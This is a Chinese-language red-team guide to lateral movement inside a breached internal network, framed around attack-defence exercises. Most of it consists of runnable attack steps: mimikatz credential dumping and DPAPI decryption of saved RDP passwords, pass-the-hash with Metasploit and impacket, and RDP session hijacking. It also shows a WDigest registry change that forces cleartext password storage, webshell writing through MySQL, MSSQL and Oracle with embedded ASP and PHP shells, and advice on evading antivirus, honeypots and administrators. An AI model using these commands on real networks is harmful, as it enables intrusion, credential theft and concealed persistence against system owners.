什么是内网横向攻击
当通过外部打点进入到目标内网时,需要利用现有的资源尝试获取更多的凭证与权限,进而达到控制整个内网、拥有最高权限、发动 APT (高级持续性威胁攻击)等目地。
在攻防演练中,攻击方需要在有限的时间内近可能的获取更多的权限,因此必须具备高效的横向攻击思路。本次对内网横向攻击的技巧和方法进行总结。
横向攻击注意事项
当进行内网横向攻击前,需要对可能出现的问题进行预防。
1、权限丢失
webshell被发现,网站关站,木马后门被发现,主机改为不出网环境等。当遇到这些问题,需要做好应对措施,多方位的做好权限维持。
2、内网防火墙与杀毒软件
内网防火墙,内网态势感知,内网流量监控,ids,ips等安全设备都会给横向攻击的开展造成很大的麻烦,应对措施有,对传输流量进行加密,修改cs流量特征,禁止大规模内网探测扫描等等。
3、内网蜜罐主机,蜜罐系统
近年来攻防演练越来越多的防守方启用蜜罐主机,蜜罐系统,一旦蜜罐捕捉到攻击行为,并及时发现和处置,会导致权限丢失,前功尽弃。
4、运维管理人员
内网横向攻击尽可能与运维管理人员的工作时间错开,尽量避免长时间登录administrator用户,如激活guest用户登录。降低被发现的几率。
内网信息收集
内网横向攻击是基于信息收集展开的,信息收集决定了横向的广度和深度,在实战中横向攻击和信息收集是相辅相成、交替进行的。
网段探测
探测当前主机通信的其它网段。
常用的手法有:
1、ipconfig、ifconfig、arp -a等命令
2、配置文件中的连接记录
3、浏览器记录
4、远程连接记录
。。。
端口服务探测
对内网服务端口进行扫描,根据开放的端口服务选择横向的方法。
7001,80,8080,11211,6379,1099,1090,8088,9081,9080,9090,3306,1433,1521,5432,27017,8069,9200,9300,8161,50075,50070,873,5984
可以使用goby自动收集网段端口信息
其它信息收集
尽可能收集对横向攻击有价值的信息
如存放密码的文件、运行的进程信息、敏感的日志信息等等。
主机横向
收集密码信息、通过rdp和ssh进行主机横向
内网hash/明文密码获取
1、mimikatz抓取当前主机用户的hash密码
privilege::debug
sekurlsa::logonPasswords
2、获取rdp连接保存的密码
查看用户保存的凭证文件
shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
利用 mimikatz 获取 guidMasterKey
mimikatz privilege::debug
mimikatz dpapi::cred /in:C:\Users\nuoyan\AppData\Local\Microsoft\Credentials\8FC163874708FE28788127CF58FF4843
查找对应的 Masterkey
mimikatz sekurlsa::dpapi
使用Masterkey解密凭证文件获取密码明文
mimikatz dpapi::cred /in:C:\Users\nuoyan\AppData\Local\Microsoft\Credentials\8FC163874708FE28788127CF58FF4843 /masterkey:c0bf810227c26e7a523915e15*
pth
pth,指Pass-The-Hash,当目标机系统>=win server 2012时,无法通过lsass.exe进程中是抓取明文密码,且随着信息安全意识的提高,弱口令越来越少,经常会遇到拿到hash却解不开的情况。
cs/msf/impacket_smbexec
cs 自带pth
msf_psexec模块
use exploit/windows/smb/psexec
set rhosts 192.168.1.1
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4
impacket_smbexec
python smbexec.py -hash esaad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 nuoyan@192.168.1.1
pth登录远程rdp
对于server 2012系统,直接使用mimikatz传递ntlm hash值登录
privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"
win10系统报错
修改注册表
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
重新登录
privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"
rdp劫持
支持多用户登录的系统,system权限下切换到administrator用户的桌面。
激活登录guest用户,然后使用sc命令切换到administrator用户桌面。
query user
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #修改为目标会话id和当前会话名
net start tide
rdp、ssh爆破
使用收集到的密码构造字典对rdp服务和ssh服务进行爆破。
超级弱口令爆破工具
御剑rdp爆破工具
实战遇到的问题
1、服务器上安全了杀软,mimikatz不免杀
解决方法:
cs自带的mimikatz通过dll反射加载内存具有一定的免杀性
内网渗透-免杀抓取windows hash
https://www.jianshu.com/p/00d70dc76678
2、服务器版本高或者安装了补丁导致无法读取明文密码
解决方法:
修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
或者
powershell Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
强制锁屏
cmd
rundll32 user32.dll,LockWorkStation
powershell
Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
等待用户登录,重新抓取即可获取明文密码
未授权访问横向
默认密码为空或者不存在密码校验
常见的未授权访问服务有:
1、Redis 未授权访问漏洞
2、MongoDB 未授权访问漏洞
3、Jenkins 未授权访问漏洞
4、Memcached 未授权访问漏洞
5、JBOSS 未授权访问漏洞
6、VNC 未授权访问漏洞
7、Docker 未授权访问漏洞
8、ZooKeeper 未授权访问漏洞
9、Rsync 未授权访问漏洞
10、Atlassian Crowd 未授权访问漏洞
11、CouchDB 未授权访问漏洞
12、Elasticsearch 未授权访问漏洞
13、Hadoop 未授权访问漏洞
14、Jupyter Notebook 未授权访问漏洞
利用参考链接:
https://mp.weixin.qq.com/s/nufn9dYyswBSJWHvO0U0eQ
弱口令横向
tomcat/weblogic/jboss弱口令
登录控制台部署war包getshell
Tomcat
参考链接:https://www.cnblogs.com/qianxinggz/p/13440366.html
Weblogic
参考链接:https://www.cnblogs.com/bmjoker/p/9822886.html
Jboss
参考链接:https://blog.csdn.net/weixin_41598660/article/details/108320489
FTP弱口令
文件传输协议默认端口21
利用参考链接:https://www.cnblogs.com/renhaoblog/p/13065978.html
Telnet弱口令
在内网中主要是一些防火墙、路由器、交换器等网络设备使用,在使用了弱口令的情况下可以登录Telnet对设备配置进行更改。
Axis2
默认账号admin密码axis2
通过部署恶意aar包getshell
利用参考链接:http://sunu11.com/2018/11/03/Axis2%20getshell/
数据库横向
通过信息收集查找配置文件中数据库连接地址、账户密码信息。
常见的配置文件有 web.config、config.php、db.properties 等等
通过命令行进行查找
windows
findstr /si password config.* *.ini *.txt *.properties
linux
find / -name *.properties
grep -r "查询内容" 文件目录
把收集到的密码与常见密码构造字典,对内网所有数据库进行密码爆破。
使用超级弱口令工具导入开放了服务的ip地址,选择构造的特殊字典进行爆破。
mysql
利用方法:
1、udf执行系统命令
参考https://www.jianshu.com/p/c29cd986e792
2、网站目录写shell
into outfile写文件(适用于低版本的mysql)
select 16进制木马 into outfile '/var/www/jumbo.php';
日志写shell
set global general_log = on;
set global general_log_file = 'C:/phpStudy/WWW/tide.php';
select '<?php @assert($_POST["tide"]); ?>';
set global general_log = off;
mssql
1、xp_cmdshell 执行系统命令
2、sp_oacreate 执行系统命令
3、通过沙盒执行命令
4、通过Agent Job执行命令
5、SQL Server CLR
6、网站目录写shell
具体操作可参考:
https://www.cnblogs.com/R4v3n/articles/9072549.html#menu_index_5
实战中遇到过的问题:
1、不支持对系统目录进行即席更新
解决方法:
EXEC sp_configure ‘allow_updates
EXEC sp_configure 'allow_updates',0;
RECONFIGURE WITH OVERRIDE;
2、服务器存在防护或者其它原因导致无法执行命令
服务器开启了web服务,但是没暴露网站绝对路径
解决方法:
第一步:使用SQLTOOLS DOS命令功能不可用,文件管理功能能正常使用
在网站中寻找一个特征明显的文件名,通过SQLTOOLS的文件管理功能去查找得到web绝对路径。
第二步:向web路径下写webshell
1、sp_makewebtask写文件
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;
exec sp_makewebtask 'c:\www\testwr.asp','select''<%execute(request("a"))%>'' '
2、存储过程写文件
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
3、log备份写文件
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'c:\2.asp'
4、差异备份写文件
backup database 库名 to disk = 'c:\bak.bak';
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;
oracle
1、创建JAVA包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、JAVA权限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
3、创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
4、执行命令
select LinxRUNCMD('whoami') from dual;
还可以尝试oracleshell工具执行命令
其它数据库
rdis、mangodb、CouchDB数据库默认存在未授权访问漏洞、设置了弱口令密码的情况下可以进行利用。
参考酒仙桥六号部队师傅们的文章
PostgreSQL
https://mp.weixin.qq.com/s/E-MHrTOaTd6NJ7-G2qXJhA
NoSQL
https://mp.weixin.qq.com/s/S-ICnK6jWSEr1Cg7_dVYbQ
反序列化rce
shiro反序列化
shiro指纹:
set-Cookie: rememberMe=deleteMe
url中存在 jsessionid=579437C993DE553A887A879FF6D18CFC
利用工具:
感谢飞鸿大佬
https://github.com/feihong-cs/ShiroExploit
weblgoic
利用各种反序列化漏洞直接rce
21superman大佬写的利用工具
https://github.com/21superman/weblogic_exploit
rmi
小天之天师傅的利用工具
内核漏洞横向
ms17010
Ehernal Blue通过Tcp端口445和139来利用SMBv1和NBT中的远程代码执行漏。
容易造成目标服务器蓝屏,谨慎使用
漏洞检测:
漏洞利用:
cs插件:
下载地址:https://github.com/phink-team/Cobaltstrike-MS17-010
cs安装下载的插件,导入aggressor.cna文件
msf 模块:search ms17_010
方程式利用工具
参考链接:
内网渗透-不出网渗透技巧
https://www.jianshu.com/p/ce5e8fac1abf
cve-2019-0708
暂时没有好用的exp
cve-2020-0796
永恒之黑漏洞只能用于win10,利用条件多且容易造成目标宕机,不推荐利用。
利用参考链接:
https://blog.csdn.net/god_zzZ/article/details/106569237
其它横向手段
内网常规web打点
思路:当其它横向手段陷入困境时可以尝试在内网中进行常规web打点,打开突破口。
探测网段中的web服务,选择使用小米范web查找器
以获取服务器权限为目的进行web打点
常用的利用漏洞有:文件上传漏洞、中间件框架漏洞、sql注入
文件上传漏洞:寻找上传点,上传webshell获取服务器权限
中间件框架漏洞:直接获取服务器权限、种类繁多、考验个人积累。
通用系统rce漏洞:利用各种cms、通用系统漏洞,获取服务器权限,考验个人积累。
sql注入:sql注入获取web登录密码,写入webshell、os-shell执行命令
。。。
中间人攻击
特点:动静大、效率低
适合长期的渗透工作,如APT。不适合短期以拿权限为目的的攻防演练。
常用的攻击手法有ARP欺骗流量嗅探、DNS劫持钓鱼。
利用参考链接:
https://www.jianshu.com/p/00eb597e9fbc
https://www.jianshu.com/p/63faa148102d
总结
对内网渗透中常用横向攻击手段进行了总结,未包含域环境下的横向技术。
由于环境、人员等因素实战中横向时会遇到各种各样的问题,因此需要大量的知识和经验积累,后续会结合实战继续对横向技巧和利用方法进行完善补充。